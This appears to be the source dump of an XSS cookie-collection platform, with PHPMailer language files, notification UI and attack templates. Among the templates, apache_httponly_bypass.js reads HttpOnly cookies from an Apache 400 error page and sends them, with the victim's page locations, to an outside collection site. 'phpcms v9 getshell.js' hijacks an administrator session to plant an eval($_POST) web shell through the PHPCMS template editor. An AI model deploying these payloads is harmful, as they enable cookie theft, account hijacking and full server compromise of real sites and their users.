7 | */
8 |
9 | $PHPMAILER_LANG['authenticate'] = 'SMTP 错误:登录失败。';
10 | $PHPMAILER_LANG['connect_host'] = 'SMTP 错误:无法连接到 SMTP 主机。';
11 | $PHPMAILER_LANG['data_not_accepted'] = 'SMTP 错误:数据不被接受。';
12 | $PHPMAILER_LANG['empty_message'] = '邮件正文为空。';
13 | $PHPMAILER_LANG['encoding'] = '未知编码: ';
14 | $PHPMAILER_LANG['execute'] = '无法执行:';
15 | $PHPMAILER_LANG['file_access'] = '无法访问文件:';
16 | $PHPMAILER_LANG['file_open'] = '文件错误:无法打开文件:';
17 | $PHPMAILER_LANG['from_failed'] = '发送地址错误:';
18 | $PHPMAILER_LANG['instantiate'] = '未知函数调用。';
19 | $PHPMAILER_LANG['invalid_address'] = '发送失败,电子邮箱地址是无效的:';
20 | $PHPMAILER_LANG['mailer_not_supported'] = '发信客户端不被支持。';
21 | $PHPMAILER_LANG['provide_address'] = '必须提供至少一个收件人地址。';
22 | $PHPMAILER_LANG['recipients_failed'] = 'SMTP 错误:收件人地址错误:';
23 | $PHPMAILER_LANG['signing'] = '登录失败:';
24 | $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP服务器连接失败。';
25 | $PHPMAILER_LANG['smtp_error'] = 'SMTP服务器出错: ';
26 | $PHPMAILER_LANG['variable_set'] = '无法设置或重置变量:';
27 | //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: ';
28 |
--------------------------------------------------------------------------------
/template/apache_httponly_bypass.js:
--------------------------------------------------------------------------------
1 | var website="http://网站地址";
2 | function setCookies() {
3 | /*apache server limit 8192*/
4 | var str = "";
5 | for (var i = 0; i < 819; i++) {
6 | str += "x";
7 | }
8 | for (i = 0; i < 10; i++) {
9 | var cookie = "ray" + i + "=" + str + ";path=/";
10 | document.cookie = cookie;
11 | }
12 | }
13 |
14 | function parseCookies() {
15 | if (xhr.readyState === 4 && xhr.status === 400) {
16 | var content = xhr.responseText.replace(/\r|\n/g, '').match(/(.+)<\/pre>/);
17 | content = content[1].replace("Cookie: ", "");
18 | cookies = content.replace(/ray\d=x+;?/g, '')
19 | try {
20 | var myopener = '';
21 | myopener = window.parent.openner.location;
22 | var myparent = '';
23 | myparent = window.parent.location;
24 | } catch (err) {
25 | myopener = '0';
26 | myparent = '0';
27 | }
28 | window.location = website + '/index.php?location=' + escape(document.location) + '&toplocation=' + escape(myparent) + '&cookie=' + escape(cookies) + '&opener=' + escape(myopener);
29 | }
30 | }
31 |
32 | setCookies();
33 | var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();
34 | xhr.onreadystatechange = parseCookies;
35 | xhr.open("POST", "/?" + Math.random(), true);
36 | xhr.send(null);
--------------------------------------------------------------------------------
/PHPMailer/language/phpmailer.lang-zh.php:
--------------------------------------------------------------------------------
1 |
6 | * @author Peter Dave Hello <@PeterDaveHello/>
7 | * @author Jason Chiang
8 | */
9 |
10 | $PHPMAILER_LANG['authenticate'] = 'SMTP 錯誤:登入失敗。';
11 | $PHPMAILER_LANG['connect_host'] = 'SMTP 錯誤:無法連線到 SMTP 主機。';
12 | $PHPMAILER_LANG['data_not_accepted'] = 'SMTP 錯誤:無法接受的資料。';
13 | $PHPMAILER_LANG['empty_message'] = '郵件內容為空';
14 | $PHPMAILER_LANG['encoding'] = '未知編碼: ';
15 | $PHPMAILER_LANG['execute'] = '無法執行:';
16 | $PHPMAILER_LANG['file_access'] = '無法存取檔案:';
17 | $PHPMAILER_LANG['file_open'] = '檔案錯誤:無法開啟檔案:';
18 | $PHPMAILER_LANG['from_failed'] = '發送地址錯誤:';
19 | $PHPMAILER_LANG['instantiate'] = '未知函數呼叫。';
20 | $PHPMAILER_LANG['invalid_address'] = '因為電子郵件地址無效,無法傳送: ';
21 | $PHPMAILER_LANG['mailer_not_supported'] = '不支援的發信客戶端。';
22 | $PHPMAILER_LANG['provide_address'] = '必須提供至少一個收件人地址。';
23 | $PHPMAILER_LANG['recipients_failed'] = 'SMTP 錯誤:以下收件人地址錯誤:';
24 | $PHPMAILER_LANG['signing'] = '電子簽章錯誤: ';
25 | $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP 連線失敗';
26 | $PHPMAILER_LANG['smtp_error'] = 'SMTP 伺服器錯誤: ';
27 | $PHPMAILER_LANG['variable_set'] = '無法設定或重設變數: ';
28 | $PHPMAILER_LANG['extension_missing'] = '遺失模組 Extension: ';
29 |
--------------------------------------------------------------------------------
/PHPMailer/language/phpmailer.lang-ch.php:
--------------------------------------------------------------------------------
1 |
6 | */
7 |
8 | $PHPMAILER_LANG['authenticate'] = 'SMTP 错误:身份验证失败。';
9 | $PHPMAILER_LANG['connect_host'] = 'SMTP 错误: 不能连接SMTP主机。';
10 | $PHPMAILER_LANG['data_not_accepted'] = 'SMTP 错误: 数据不可接受。';
11 | //$PHPMAILER_LANG['empty_message'] = 'Message body empty';
12 | $PHPMAILER_LANG['encoding'] = '未知编码:';
13 | $PHPMAILER_LANG['execute'] = '不能执行: ';
14 | $PHPMAILER_LANG['file_access'] = '不能访问文件:';
15 | $PHPMAILER_LANG['file_open'] = '文件错误:不能打开文件:';
16 | $PHPMAILER_LANG['from_failed'] = '下面的发送地址邮件发送失败了: ';
17 | $PHPMAILER_LANG['instantiate'] = '不能实现mail方法。';
18 | //$PHPMAILER_LANG['invalid_address'] = 'Invalid address: ';
19 | $PHPMAILER_LANG['mailer_not_supported'] = ' 您所选择的发送邮件的方法并不支持。';
20 | $PHPMAILER_LANG['provide_address'] = '您必须提供至少一个 收信人的email地址。';
21 | $PHPMAILER_LANG['recipients_failed'] = 'SMTP 错误: 下面的 收件人失败了: ';
22 | //$PHPMAILER_LANG['signing'] = 'Signing Error: ';
23 | //$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.';
24 | //$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: ';
25 | //$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: ';
26 | //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: ';
27 |
--------------------------------------------------------------------------------
/PHPMailer/language/phpmailer.lang-ko.php:
--------------------------------------------------------------------------------
1 |
6 | */
7 |
8 | $PHPMAILER_LANG['authenticate'] = 'SMTP 오류: 인증할 수 없습니다.';
9 | $PHPMAILER_LANG['connect_host'] = 'SMTP 오류: SMTP 호스트에 접속할 수 없습니다.';
10 | $PHPMAILER_LANG['data_not_accepted'] = 'SMTP 오류: 데이터가 받아들여지지 않았습니다.';
11 | $PHPMAILER_LANG['empty_message'] = '메세지 내용이 없습니다';
12 | $PHPMAILER_LANG['encoding'] = '알 수 없는 인코딩: ';
13 | $PHPMAILER_LANG['execute'] = '실행 불가: ';
14 | $PHPMAILER_LANG['file_access'] = '파일 접근 불가: ';
15 | $PHPMAILER_LANG['file_open'] = '파일 오류: 파일을 열 수 없습니다: ';
16 | $PHPMAILER_LANG['from_failed'] = '다음 From 주소에서 오류가 발생했습니다: ';
17 | $PHPMAILER_LANG['instantiate'] = 'mail 함수를 인스턴스화할 수 없습니다';
18 | $PHPMAILER_LANG['invalid_address'] = '잘못된 주소: ';
19 | $PHPMAILER_LANG['mailer_not_supported'] = ' 메일러는 지원되지 않습니다.';
20 | $PHPMAILER_LANG['provide_address'] = '적어도 한 개 이상의 수신자 메일 주소를 제공해야 합니다.';
21 | $PHPMAILER_LANG['recipients_failed'] = 'SMTP 오류: 다음 수신자에서 오류가 발생했습니다: ';
22 | $PHPMAILER_LANG['signing'] = '서명 오류: ';
23 | $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP 연결을 실패하였습니다.';
24 | $PHPMAILER_LANG['smtp_error'] = 'SMTP 서버 오류: ';
25 | $PHPMAILER_LANG['variable_set'] = '변수 설정 및 초기화 불가: ';
26 | $PHPMAILER_LANG['extension_missing'] = '확장자 없음: ';
27 |
--------------------------------------------------------------------------------
/mail.php:
--------------------------------------------------------------------------------
1 | ", $body);
15 | $body = str_replace(" ", " ", $body);
16 |
17 | $mail = new PHPMailer(); //实例化
18 | $mail->isSendmail();
19 |
20 | $mail->IsSMTP(); // 启用SMTP
21 | $mail->Host = SMTP_SERVER; //SMTP服务器
22 | $mail->Port = SMTP_PORT; //邮件发送端口
23 | $mail->SMTPAuth = true; //启用SMTP认证
24 | $mail->SMTPSecure = SMTP_SECURE;
25 | $mail->CharSet = "UTF-8"; //字符集
26 | $mail->Encoding = "base64"; //编码方式
27 |
28 | $mail->Username = MAIL_USER; //你的邮箱
29 | $mail->Password = MAIL_PASS; //你的密码
30 |
31 | $mail->Subject = $subject; //邮件标题
32 | $mail->From = MAIL_FROM; //发件人地址(也就是你的邮箱)
33 | $mail->FromName = "通知"; //发件人姓名
34 |
35 | $mail->AddAddress(MAIL_RECV); //添加收件人(地址,昵称)
36 |
37 | $mail->IsHTML(true); //支持html格式内容
38 |
39 | $mail->Body = $body;
40 | $mail->Send();
41 | }
42 |
--------------------------------------------------------------------------------
/static/js/jsmin.min.js:
--------------------------------------------------------------------------------
1 | String.prototype.has=function(f){return-1=a)return a;case "*":for(d();;)switch(d()){case "*":if("/"==l())return d()," ";break;case -1:throw"Error: Unterminated comment.";}}return a}function c(a){var c=[];1==a&&c.push(b);if(3>a&&(b=e,"'"==b||'"'==b))for(;;){c.push(b);b=d();if(b==e)break;if("\n">=b)throw"Error: unterminated string literal: "+b;"\\"==b&&(c.push(b),b=d())}e=m();if("/"==e&&"(,\x3d:[!\x26|".has(b)){c.push(b);for(c.push(e);;){b=d();if("/"==b)break;else if("\\"==b)c.push(b),b=d();else if("\n">=b)throw"Error: unterminated Regular Expression literal";c.push(b)}e=m()}return c.join("")}var b="",e="",k=-1;d.i=0;d.l=f.length;return function(){var a=[];b="\n";for(a.push(c(3));-1!=b;)switch(b){case " ":g(e)?a.push(c(1)):a.push(c(2));break;case "\n":switch(e){case "{":case "[":case "(":case "+":case "-":a.push(c(1));break;case " ":a.push(c(3));break;default:g(e)?a.push(c(1)):1==h&&"\n"!=e?a.push(c(1)):a.push(c(2))}break;default:switch(e){case " ":if(g(b)){a.push(c(1));break}a.push(c(3));break;case "\n":if(1==h&&"\n"!=b)a.push(c(1));else switch(b){case "}":case "]":case ")":case "+":case "-":case '"':case "'":3==h?a.push(c(3)):a.push(c(1));break;default:g(b)?a.push(c(1)):a.push(c(3))}break;default:a.push(c(1))}}return a.join("")}(f)};
--------------------------------------------------------------------------------
/PHPMailer/language/phpmailer.lang-he.php:
--------------------------------------------------------------------------------
1 |
6 | */
7 |
8 | $PHPMAILER_LANG['authenticate'] = 'שגיאת SMTP: פעולת האימות נכשלה.';
9 | $PHPMAILER_LANG['connect_host'] = 'שגיאת SMTP: לא הצלחתי להתחבר לשרת SMTP.';
10 | $PHPMAILER_LANG['data_not_accepted'] = 'שגיאת SMTP: מידע לא התקבל.';
11 | $PHPMAILER_LANG['empty_message'] = 'גוף ההודעה ריק';
12 | $PHPMAILER_LANG['invalid_address'] = 'כתובת שגויה: ';
13 | $PHPMAILER_LANG['encoding'] = 'קידוד לא מוכר: ';
14 | $PHPMAILER_LANG['execute'] = 'לא הצלחתי להפעיל את: ';
15 | $PHPMAILER_LANG['file_access'] = 'לא ניתן לגשת לקובץ: ';
16 | $PHPMAILER_LANG['file_open'] = 'שגיאת קובץ: לא ניתן לגשת לקובץ: ';
17 | $PHPMAILER_LANG['from_failed'] = 'כתובות הנמענים הבאות נכשלו: ';
18 | $PHPMAILER_LANG['instantiate'] = 'לא הצלחתי להפעיל את פונקציית המייל.';
19 | $PHPMAILER_LANG['mailer_not_supported'] = ' אינה נתמכת.';
20 | $PHPMAILER_LANG['provide_address'] = 'חובה לספק לפחות כתובת אחת של מקבל המייל.';
21 | $PHPMAILER_LANG['recipients_failed'] = 'שגיאת SMTP: הנמענים הבאים נכשלו: ';
22 | $PHPMAILER_LANG['signing'] = 'שגיאת חתימה: ';
23 | $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.';
24 | $PHPMAILER_LANG['smtp_error'] = 'שגיאת שרת SMTP: ';
25 | $PHPMAILER_LANG['variable_set'] = 'לא ניתן לקבוע או לשנות את המשתנה: ';
26 | //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: ';
27 |
--------------------------------------------------------------------------------
/PHPMailer/language/phpmailer.lang-ja.php:
--------------------------------------------------------------------------------
1 |
6 | * @author Yoshi Sakai
7 | */
8 |
9 | $PHPMAILER_LANG['authenticate'] = 'SMTPエラー: 認証できませんでした。';
10 | $PHPMAILER_LANG['connect_host'] = 'SMTPエラー: SMTPホストに接続できませんでした。';
11 | $PHPMAILER_LANG['data_not_accepted'] = 'SMTPエラー: データが受け付けられませんでした。';
12 | //$PHPMAILER_LANG['empty_message'] = 'Message body empty';
13 | $PHPMAILER_LANG['encoding'] = '不明なエンコーディング: ';
14 | $PHPMAILER_LANG['execute'] = '実行できませんでした: ';
15 | $PHPMAILER_LANG['file_access'] = 'ファイルにアクセスできません: ';
16 | $PHPMAILER_LANG['file_open'] = 'ファイルエラー: ファイルを開けません: ';
17 | $PHPMAILER_LANG['from_failed'] = 'Fromアドレスを登録する際にエラーが発生しました: ';
18 | $PHPMAILER_LANG['instantiate'] = 'メール関数が正常に動作しませんでした。';
19 | //$PHPMAILER_LANG['invalid_address'] = 'Invalid address: ';
20 | $PHPMAILER_LANG['provide_address'] = '少なくとも1つメールアドレスを 指定する必要があります。';
21 | $PHPMAILER_LANG['mailer_not_supported'] = ' メーラーがサポートされていません。';
22 | $PHPMAILER_LANG['recipients_failed'] = 'SMTPエラー: 次の受信者アドレスに 間違いがあります: ';
23 | //$PHPMAILER_LANG['signing'] = 'Signing Error: ';
24 | //$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.';
25 | //$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: ';
26 | //$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: ';
27 | //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: ';
28 |
--------------------------------------------------------------------------------
/PHPMailer/extras/README.md:
--------------------------------------------------------------------------------
1 | #PHPMailer Extras
2 |
3 | These classes provide optional additional functions to PHPMailer.
4 |
5 | These are not loaded by the PHPMailer autoloader, so in some cases you may need to `require` them yourself before using them.
6 |
7 | ##EasyPeasyICS
8 |
9 | This class was originally written by Manuel Reinhard and provides a simple means of generating ICS/vCal files that are used in sending calendar events. PHPMailer does not use it directly, but you can use it to generate content appropriate for placing in the `Ical` property of PHPMailer. The PHPMailer project is now its official home as Manuel has given permission for that and is no longer maintaining it himself.
10 |
11 | ##htmlfilter
12 |
13 | This class by Konstantin Riabitsev and Jim Jagielski implements HTML filtering to remove potentially malicious tags, such as `
75 | x.post("接口地址","frommodcp=&formhash="+hash+"&fid=2&redirect=&listextra=page%3D1&handlekey=mods&moderate[]=12&operations[]=stick&sticklevel=3&expirationstick=&digestlevel=0&expirationdigest=&highlight_color=0&highlight_style[1]=0&highlight_style[2]=0&highlight_style[3]=0&expirationhighlight=&reason=");
76 |
77 |
78 | */
--------------------------------------------------------------------------------
/static/js/notification.min.js:
--------------------------------------------------------------------------------
1 | var unreadNum=0,oldTitle=document.title;document.documentElement.style.overflow="hidden";function readNotification(){unreadNum=0;document.title&&(document.title=oldTitle);$(this).parent().fadeOut(200);$("#xss_panel_tab").tab("show");$("#panelGrid").jqxGrid("updatebounddata")}function showNotification(b,c,d){unreadNum+=b;$.ajax({url:urlbase+"?cmd\x3dget\x26id\x3d"+c,dataType:"json",timeout:d,success:function(a){document.title&&(document.title="\u3010\u6536\u5230"+unreadNum+"\u5c01\u6d88\u606f\u3011"+oldTitle);$("#webpushtipcontainer").remove();$("#notifications-bottom-right").append('\x3cdiv id\x3d"webpushtipcontainer" class\x3d"webpushtipoutter" \x3e\x3cdiv class\x3d"webpushtipinner"\x3e\x3cdiv id\x3d"webpushtip1" style\x3d"visibility: visible; bottom: 0px;" class\x3d"newmailNotifyItem notify_mail"\x3e\x3cdiv class\x3d"newmailNotify" id\x3d"newNotification"\x3e\x3ca nocheck\x3d"true" id\x3d"webpushtip1close" class\x3d"notify_close"title\x3d"\u5173\u95ed"\x3e\x3c/a\x3e\x3cdiv class\x3d"notify_type"\x3e\x3cspan\x3e\x3c/span\x3e\x3clabel\x3e\x3cem id\x3d"unreadNum"\x3e1\x3c/em\x3e\x3c/label\x3e\x3c/div\x3e\x3cdiv class\x3d"notify_content"\x3e\x3cp class\x3d"notify_location"\x3e\u672a\u77e5\x3c/p\x3e\x3cp class\x3d"notify_title"\x3e0.0.0.0\x3c/p\x3e\x3cp class\x3d"notify_digest"\x3eGET:0\u4e2a POST:0\u4e2a Cookie:0\u4e2a\x3c/p\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e');$("#webpushtipcontainer").addClass("animated bounceInUp");$("#webpushtip1close").click(function(a){$(this).parent().parent().fadeOut(200);a.stopPropagation()});$("#newNotification").click(readNotification);$("#unreadNum").text(unreadNum);$(".notify_location").text(a.location);$(".notify_title").text(a.user_IP);$(".notify_digest").text("GET:"+Object.keys(a.get_data).length+"\u4e2a POST:"+Object.keys(a.post_data).length+"\u4e2a Cookie:"+Object.keys(a.cookie_data).length+"\u4e2a");$("#notifications-bottom-right").addClass("animated bounceInUp")},complete:function(a,b){"timeout"==b&&($("#webpushtipcontainer").remove(),$("#notifications-bottom-right").append('\x3cdiv id\x3d"webpushtipcontainer" class\x3d"webpushtipoutter" \x3e\x3cdiv class\x3d"webpushtipinner"\x3e\x3cdiv id\x3d"webpushtip1" style\x3d"visibility: visible; bottom: 0px;" class\x3d"newmailNotifyItem notify_mail"\x3e\x3cdiv class\x3d"newmailNotify" id\x3d"newNotification"\x3e\x3ca nocheck\x3d"true" id\x3d"webpushtip1close" class\x3d"notify_close"title\x3d"\u5173\u95ed"\x3e\x3c/a\x3e\x3cdiv class\x3d"notify_type"\x3e\x3cspan\x3e\x3c/span\x3e\x3clabel\x3e\x3cem id\x3d"unreadNum"\x3e1\x3c/em\x3e\x3c/label\x3e\x3c/div\x3e\x3cdiv class\x3d"notify_content"\x3e\x3cp class\x3d"notify_location"\x3e\u672a\u77e5\u6765\u6e90\x3c/p\x3e\x3cp class\x3d"notify_title"\x3e\u7f51\u7edc\u9519\u8bef\x3c/p\x3e\x3cp class\x3d"notify_digest"\x3e\u8bf7\u68c0\u67e5\u7f51\u7edc\u8fde\u63a5\x3c/p\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e'),$("#webpushtipcontainer").addClass("animated bounceInUp"),$("#webpushtip1close").click(function(a){$(this).parent().parent().fadeOut(200);a.stopPropagation()}),$("#newNotification").click(readNotification),$("#unreadNum").text(unreadNum),$("#notifications-bottom-right").addClass("animated bounceInUp"))}})};
--------------------------------------------------------------------------------
/src/js/notification.js:
--------------------------------------------------------------------------------
1 | var unreadNum=0;
2 | var oldTitle=document.title;
3 | document.documentElement.style.overflow="hidden";
4 |
5 | function readNotification(){
6 | unreadNum=0;
7 | if(document.title)
8 | document.title=oldTitle;
9 | $(this).parent().fadeOut(200);
10 |
11 | $("#xss_panel_tab").tab('show');
12 | //重新载入数据
13 | $('#panelGrid').jqxGrid('updatebounddata');
14 |
15 | }
16 |
17 | function showNotification(newUnreadNum,lastedID,interval){
18 | unreadNum+=newUnreadNum;
19 | $.ajax({
20 | url: urlbase+"?cmd=get&id="+lastedID,
21 | dataType: "json",
22 | timeout : interval,
23 | success: function(data)
24 | {
25 |
26 | if(document.title)
27 | document.title='【收到'+unreadNum+"封消息】"+oldTitle;
28 |
29 | var notificationHTML='
未知
0.0.0.0
GET:0个 POST:0个 Cookie:0个
';
30 | $("#webpushtipcontainer").remove();
31 | $("#notifications-bottom-right").append(notificationHTML);
32 | $("#webpushtipcontainer").addClass('animated bounceInUp');
33 | $('#webpushtip1close').click(function(event){$(this).parent().parent().fadeOut(200);event.stopPropagation();});
34 | $("#newNotification").click(readNotification);
35 |
36 | $('#unreadNum').text(unreadNum);
37 | $('.notify_location').text(data.location);
38 | $('.notify_title').text(data.user_IP);
39 | $('.notify_digest').text("GET:"+Object.keys(data.get_data).length+"个 POST:"+Object.keys(data.post_data).length+"个 Cookie:"+Object.keys(data.cookie_data).length+"个");
40 | $("#notifications-bottom-right").addClass('animated bounceInUp');
41 |
42 | },
43 | complete : function(XMLHttpRequest,status){
44 | if(status=='timeout'){
45 | var notificationHTML='';
46 | $("#webpushtipcontainer").remove();
47 | $("#notifications-bottom-right").append(notificationHTML);
48 | $("#webpushtipcontainer").addClass('animated bounceInUp');
49 | $('#webpushtip1close').click(function(event){$(this).parent().parent().fadeOut(200);event.stopPropagation();});
50 | $("#newNotification").click(readNotification);
51 |
52 | $('#unreadNum').text(unreadNum);
53 | $("#notifications-bottom-right").addClass('animated bounceInUp');
54 | }
55 | }
56 | });
57 | }
58 |
--------------------------------------------------------------------------------
/static/css/notification.min.css:
--------------------------------------------------------------------------------
1 | #notifications-bottom-right{position:absolute;width:360px;right:20px;bottom:40px}.webpushtipoutter{z-index:9999;position:absolute;right:5px;bottom:5px;_width:330px}.webpushtipinner{position:relative;height:66px;padding:7px}.newmailNotifyBox{position:absolute;bottom:0;right:0;z-index:5;padding:8px 17px 7px 0;overflow:hidden}.newmailNotifyItem{position:relative;width:305px;height:69px;margin-bottom:10px;padding:1px;border-radius:5px;-webkit-border-radius:5px;box-shadow:0 2px 5px rgba(0,0,0,0.2);-webkit-box-shadow:0 2px 5px rgba(0,0,0,0.2);background:#ADBFC8;background:-moz-linear-gradient(top,#C4D1D7,#98AFBA);background:-webkit-gradient(linear,0 0,0 bottom,from(#C4D1D7),to(#98AFBA));background:-o-linear-gradient(top,#C4D1D7,#98AFBA);-moz-transition:box-shadow 1s}.newmailNotifyItem:hover .newmailNotify{box-shadow:0 0 5px #8EC7EF inset;-webkit-box-shadow:0 0 5px #8EC7EF inset}.newmailNotifyItem:hover .notify_type{background:transparent;*background:#EEF6F9}.newmailNotify{height:66px;background:#F7FDFF;cursor:pointer;border-radius:5px;-webkit-border-radius:5px;box-shadow:0 0 9px #E5EFF5 inset;-webkit-box-shadow:0 0 9px #E5EFF5 inset}.newmailNotify .notify_close{position:absolute;top:-6px;top:4px\9;right:-6px;right:4px\9;width:15px;height:15px;height:14px\9;overflow:hidden;background:url(../images/mail.png) no-repeat -106px -18px #B6CFDA;opacity:0;filter:alpha(opacity=0);border-radius:10px;-webkit-border-radius:10px;-moz-transition:opacity .2s ease;-webkit-transition:opacity .1s ease;_filter:alpha(opacity=100)}.newmailNotify:hover .notify_close:hover,.hover .notify_close:hover{opacity:1;filter:alpha(opacity=100)}.newmailNotify:hover .notify_close:active,.hover .notify_close:active{opacity:1;filter:alpha(opacity=100)}.newmailNotify:hover .notify_close,.hover .notify_close{opacity:.8;filter:alpha(opacity=80)}.newmailNotify .notify_type{position:relative;float:left;width:60px;height:66px;border-right:1px solid #CBDAE1;background:#EEF6F9;border-radius:5px 0 0 5px;-webkit-border-radius:5px 0 0 5px}.newmailNotify .notify_type span{display:inline-block;width:32px;height:34px;margin:16px 0 0 16px;background:url(../images/notify_letter.png) no-repeat}.newmailNotify .notify_type label{position:absolute;top:12px;right:10px;+right:5px;text-align:center;overflow:visible}.newmailNotify .notify_type em{display:inline-block;cursor:pinter;min-width:13px;margin-right:-50%;+margin-right:0;padding:0 2px;+padding:0 2px 2px;border:1px solid white;line-height:15px;color:white;font-weight:bold;font-style:normal;background:#D40707;border-radius:8px;-webkit-border-radius:8px;background:-moz-linear-gradient(top,#E80505,#C70909);background:-webkit-gradient(linear,0 0,0 bottom,from(#E80505),to(#C70909));background:-o-linear-gradient(top,#E80505,#C70909)}@media screen and (-webkit-min-device-pixel-ratio:0){.newmailNotify .notify_type em{border:0}}.newmailNotify .notify_content{margin-left:66px;overflow:hidden;width:230px}.newmailNotify p{margin:0;padding:2px 0 1px;white-space:normal;white-space:nowrap\9;_white-space:normal;height:auto\9;_height:16px;_line-height:16px;overflow:hidden;text-overflow:ellipsis}@media screen and (-webkit-min-device-pixel-ratio:0){.newmailNotify p{margin-top:2px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}}.newmailNotify .notify_location{padding:7px 0 1px;font-size:12px;font-weight:bold}.newmailNotify .notify_digest{color:#8596A9;padding-top:2px}
--------------------------------------------------------------------------------
/template/phpcms v9 getshell.js:
--------------------------------------------------------------------------------
1 | if (top.window.location.href.indexOf("pc_hash=") > 0) {
2 | var hash = top.window.location.href.substr(top.window.location.href.indexOf("pc_hash=") + 8, 6);
3 | }
4 | var pkav = {
5 | ajax: function() {
6 | var xmlHttp;
7 | try {
8 | xmlHttp = new XMLHttpRequest();
9 | } catch (e) {
10 | try {
11 | xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
12 | } catch (e) {
13 | try {
14 | xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
15 | } catch (e) {
16 | return false;
17 | }
18 | }
19 | }
20 | return xmlHttp;
21 | },
22 | req: function(url, data, method, callback) {
23 | method = (method || "").toUpperCase();
24 | method = method || "GET";
25 | data = data || "";
26 | if (url) {
27 | var a = this.ajax();
28 | a.open(method, url, true);
29 | if (method == "POST") {
30 | a.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
31 | }
32 | a.onreadystatechange = function() {
33 | if (a.readyState == 4 && a.status == 200) {
34 | if (callback) {
35 | callback(a.responseText);
36 | }
37 | }
38 | };
39 | if ((typeof data) == "object") {
40 | var arr = [];
41 | for (var i in data) {
42 | arr.push(i + "=" + encodeURIComponent(data[i]));
43 | }
44 | a.send(arr.join("&"));
45 | } else {
46 | a.send(data || null);
47 | }
48 | }
49 | },
50 | get: function(url, callback) {
51 | this.req(url, "", "GET", callback);
52 | },
53 | post: function(url, data, callback) {
54 | this.req(url, data, "POST", callback);
55 | }
56 | };
57 | if (!window.__x) {
58 | pkav.post("index.php?m=template&c=file&a=edit_file&style=default&dir=announce&file=show.html", "code=%7Btemplate+%27content%27%2C+%27header%27%7D%0D%0A%3C%21--main--%3E%0D%0A%3Cdiv+class%3D%22main%22%3E%0D%0A%09%3Cdiv+class%3D%22col-left%22%3E%0D%0A++++%09%3Cdiv+class%3D%22crumbs%22%3E%3Ca+href%3D%22%7BAPP_PATH%7D%22%3E%CA%D7%D2%B3%3C%2Fa%3E%3Cspan%3E+%3E+%3C%2Fspan%3E%B9%AB%B8%E6%3C%2Fdiv%3E%0D%0A++++++++%3Cdiv+id%3D%22Article%22%3E%0D%0A++++++++%09%3Ch1%3E%7B%24title%7D%3Cbr+%2F%3E%0D%0A%3Cspan%3E%3C%2Fspan%3E%3C%2Fh1%3E%0D%0A%09%09%09%3Cdiv+class%3D%22content%22%3E%0D%0A%09%09%09++%7B%24content%7D%0D%0A%09%09%09%3C%2Fdiv%3E%0D%0A++++++%3C%2Fdiv%3E%0D%0A++%3C%2Fdiv%3E%0D%0A++++%3Cdiv+class%3D%22col-auto%22%3E%0D%0A++++++++%3Cdiv+class%3D%22box+pd_b0%22%3E%0D%0A%09%09%7Bpc%3Acomment+action%3D%22bang%22+cache%3D%223600%22%7D%0D%0A++++++++++++%3Cul+class%3D%22itemli%22%3E%0D%0A%09%09%09%7Bloop+%24data+%24r%7D%0D%0A++++++++++++++++%3Cli%3E%3Ca+href%3D%22%7B%24r%5Burl%5D%7D%22+target%3D%22_blank%22%3E%7Bstr_cut%28%24r%5Btitle%5D%2C+26%29%7D%3C%2Fa%3E%3C%2Fli%3E%0D%0A++++++++++++%7B%2Floop%7D%0D%0A++++++++++++%3C%2Ful%3E%0D%0A%09%09%7B%2Fpc%7D%0D%0A++++++++%3C%2Fdiv%3E%0D%0A++++%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E%0D%0A%7Btemplate+%27content%27%2C+%27footer%27%7D%0D%0A%3Cscript+language%3Dphp%3E%24fp+%3D+%40fopen%28%22test.php%22%2C+%27a%27%29%3B%0D%0A%40fwrite%28%24fp%2C+%27%3C%27.%27%3Fphp%27.%22%5Cr%5Cn%5Cr%5Cn%22.%27%40eval%28%24_POST%5B%22chopper%22%5D%29%27.%22%5Cr%5Cn%5Cr%5Cn%3F%22.%22%3E%5Cr%5Cn%22%29%3B%0D%0A%40fclose%28%24fp%29%3B%3C%2Fscript%3E&dosubmit=%CC%E1%BD%BB&pc_hash=" + hash, function(rs) {});
59 | pkav.get("index.php?m=template&c=file&a=visualization&style=default&dir=announce&file=show.html&pc_hash=" + hash, function(rs) {});
60 | window.__x = 1;
61 | }
--------------------------------------------------------------------------------
/rc4.php:
--------------------------------------------------------------------------------
1 |
8 | *
9 | * Licensed under the Apache License, Version 2.0 (the "License");
10 | * you may not use this file except in compliance with the License.
11 | * You may obtain a copy of the License at
12 | *
13 | * http://www.apache.org/licenses/LICENSE-2.0
14 | *
15 | * Unless required by applicable law or agreed to in writing, software
16 | * distributed under the License is distributed on an "AS IS" BASIS,
17 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
18 | * See the License for the specific language governing permissions and
19 | * limitations under the License.
20 | */
21 |
22 | /**
23 | * A PHP implementation of RC4 based on the original C code from
24 | * the 1994 usenet post:
25 | *
26 | * http://groups.google.com/groups?selm=sternCvKL4B.Hyy@netcom.com
27 | *
28 | * @param key_str the key as a binary string
29 | * @param data_str the data to decrypt/encrypt as a binary string
30 | * @return the result of the RC4 as a binary string
31 | * @author Michael Cutler
32 | */
33 | function rc4($data_str, $key_str) {
34 | // convert input string(s) to array(s)
35 | $key = array();
36 | $data = array();
37 | for ($i = 0; $i < strlen($key_str); $i++) {
